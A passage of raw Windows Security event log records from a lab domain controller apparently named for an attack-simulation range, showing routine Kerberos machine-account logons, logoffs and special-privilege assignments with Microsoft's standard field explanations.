-The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248787 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC35AE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248786 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC354D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248785 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC354D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64032 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248784 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC354D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248783 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC34E7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248782 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC34E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64031 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248781 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC34E7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248780 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3486 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248779 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3486 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64030 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248778 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3486 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248777 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81508 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248801 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3742 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248800 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3742 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64037 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248799 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3742 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248798 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC36E1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248797 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC36E1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64036 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248796 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC36E1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248795 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC367B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248794 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC367B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64035 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248793 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC367B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248792 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC361A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248791 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC361A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64034 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248790 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC361A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248813 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4E3E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248812 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC4E3E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64041 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248811 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4E3E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248810 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4DCF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248809 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC4DCF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64040 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248808 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC4DCF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. 